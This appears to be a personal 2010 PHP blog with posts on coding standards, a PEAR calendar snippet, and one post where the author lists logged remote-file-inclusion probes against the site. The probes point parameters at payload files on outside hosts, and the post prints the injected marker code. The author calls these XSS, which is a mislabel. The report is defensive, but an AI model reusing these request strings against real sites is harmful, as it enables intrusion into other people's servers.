PHP Coding standards

April 11th, 2010

Ever wondered why a developer is taking so much time to fix the code bugs ? Let me tell you as a coder who worked for a few years into this.
A project worked without any kind of standards, makes a developer sick to understand what business logic the code is following. The code has to be written in such a way that any other developer, should be able to take over the code at any point of time, relentlessly. There by making the code easier to maintain.
To cut-short this difficulties every language follows certain coding standards. Likewise PHP has some coding standards that are practiced widely.

PEAR standards can be used for those code, which is written for backward compatibility with PHP4
while Zend standards are written for PHP5 standards. If a code written in following these standards can be easily used to generate the code api documentation through code document software like phpDocumentor.

Having known to the above coding standards, make sure either when you start a project or move your project from one team to another, you announce to all developers who are involved in the project about the coding standards to be followed. There by it makes any developer to go in and out of the project easily. This makes a any new developer more comfortable to code than to sit and rather than sit and figure out what the code is written.

Also by make sure by doing a code review randomly, keeps the developer attentive towards the coding standards. This is not be taken in the negative sense to test the coder’s ability, but to make sure, your project goes right way, thereby leaving no chance of loop hole of getting permanently dependent on the one coder.

  • Blogger Post
  • Delicious
  • Digg
  • DZone
  • Facebook
  • Google Buzz
  • Google Bookmarks
  • Google Reader
  • LiveJournal
  • LinkedIn
  • Orkut
  • Ping
  • StumbleUpon
  • Reddit
  • Twitter
  • Technorati Favorites
  • WordPress
  • Share/Bookmark

Reminder

April 7th, 2010

Add  translator like google or check wp-plugins for a dynamic translator like this url ->

1
http://www.josepino.com/php/howto_website_hack1
  • Blogger Post
  • Delicious
  • Digg
  • DZone
  • Facebook
  • Google Buzz
  • Google Bookmarks
  • Google Reader
  • LiveJournal
  • LinkedIn
  • Orkut
  • Ping
  • StumbleUpon
  • Reddit
  • Twitter
  • Technorati Favorites
  • WordPress
  • Share/Bookmark

Please stop XSS into my site

April 5th, 2010

Hello,

I know that I’ve not developed my blog completely, just because I don’t have time, neither did I finish my all articles completely, that does not mean, I’ve opened my website for script injections easily.

Here is a list of injections that were happening on my site.

1
2
3
4
5
6
7
8
9
10
</p>
<p>//bbs//write_comment_update.php?board_skin_path=http://www.michincow.net/id1?<br>
//config/config.php?cfg[rootPath]=http://www.miranda.gov.ve/modules/mod_sections/id1.txt???<br>
//home.php?pg=http://www.howtolisten.kr//bbs/data/com002/img00.txt???<br>
///skin/ggambo7002_board/write.php?dir=http://124.139.66.60/~home06dfl/bbs/img/btn/id1.txt???<br>
///skin/ggambo7002_board/write.php?dir=http://nic.bupt.edu.cn/media/j1.txt??<br>
/tag//skin/ggambo7002_board/write.php?dir=http://www.infolitbang.ristek.go.id/template/.fxcom/fxid1.txt?<br>
///vwar/backup/errors.php?error=http://www.mobox.co.kr/log/200909/uda/security/id1.txt??<br>
//errors.php?error=http://alandar.net/www2/log1.txt?</p>
<p>

All of them have the same code, which makes it clear that one common person is trying to attack my site through XSS.

The code is below

1
2
</p>
<pre>/* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */<br>

and please all of the above sites of which ( I do not trust .cn sites, the origin of XSS)  note that your servers code has been someway compromised with this XSS injections.

Im going to post this at wordpress as well.

  • Blogger Post
  • Delicious
  • Digg
  • DZone
  • Facebook
  • Google Buzz
  • Google Bookmarks
  • Google Reader
  • LiveJournal
  • LinkedIn
  • Orkut
  • Ping
  • StumbleUpon
  • Reddit
  • Twitter
  • Technorati Favorites
  • WordPress
  • Share/Bookmark

video testing

March 23rd, 2010

waaaaaaaa, I finally made my blog nearly working except for comments, and ofcourse few links :(

A PHP webhosting video

  • Blogger Post
  • Delicious
  • Digg
  • DZone
  • Facebook
  • Google Buzz
  • Google Bookmarks
  • Google Reader
  • LiveJournal
  • LinkedIn
  • Orkut
  • Ping
  • StumbleUpon
  • Reddit
  • Twitter
  • Technorati Favorites
  • WordPress
  • Share/Bookmark

PHP PEAR based Calendar

March 22nd, 2010

Calendar is a good program to start with. I know there are many, but it is always good to start with one small program such as calendar

The Features we want.

1. PHP Calendar with innumerous years i.e. countless lets start computer start date to 2008 and to future and

more…………….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ( !@include 'Calendar/Calendar.php' ) {
define('CALENDAR_ROOT','../../');
}

require_once CALENDAR_ROOT.'Month/Weeks.php';
require_once CALENDAR_ROOT.'Day.php';

if (!isset($_GET['y'])) $_GET['y'] = date('Y');
if (!isset($_GET['m'])) $_GET['m'] = date('m');
if (!isset($_GET['d'])) $_GET['d'] = date('d');

$month = new Calendar_Month_Weeks($_GET['y'],$_GET['m']);

$current_month_year =  date('F Y',$month-&gt;getTimeStamp());
$nextyear = intval(date('Y',$month-&gt;getTimeStamp()))+1;
$prevyear = intval(date('Y',$month-&gt;getTimeStamp()))-1;
// Create an array of days which are "selected"
// Used for Week::build() below

$selectedDays = array (
new Calendar_Day($_GET['y'],$_GET['m'],$_GET['d']),
new Calendar_Day($_GET['y'],12,25),
);

// Instruct month to build Week objects
$month-&gt;build();

<code>

  • Blogger Post
  • Delicious
  • Digg
  • DZone
  • Facebook
  • Google Buzz
  • Google Bookmarks
  • Google Reader
  • LiveJournal
  • LinkedIn
  • Orkut
  • Ping
  • StumbleUpon
  • Reddit
  • Twitter
  • Technorati Favorites
  • WordPress
  • Share/Bookmark

Welcome to Abyaas

March 21st, 2010

Abyaas a word derived from sanskrit(an old language) which means practice.

After working as a PHP developer from a longtime, I finally got a little bit of time to make my own web site.

What actually I intend to do on this is, something that I like  to do at any point of time, but mostly related to my profession. What I’m currently thinking is to write my little, php scripts developed by me or talk or write anything related to LAMP Technologies. I’m not an expert, but I’m  good enough to write PHP applications or even design an PHP application.  Have comments for us? Comments on my code are very openly accepted.

  • Blogger Post
  • Delicious
  • Digg
  • DZone
  • Facebook
  • Google Buzz
  • Google Bookmarks
  • Google Reader
  • LiveJournal
  • LinkedIn
  • Orkut
  • Ping
  • StumbleUpon
  • Reddit
  • Twitter
  • Technorati Favorites
  • WordPress
  • Share/Bookmark
 
1 visitors online now
1 guests, 0 members
Max visitors today: 3 at 03:47 pm UTC
This month: 6 at 07-11-2010 04:30 pm UTC
This year: 24 at 05-13-2010 01:03 am UTC
All time: 24 at 05-13-2010 01:03 am UTC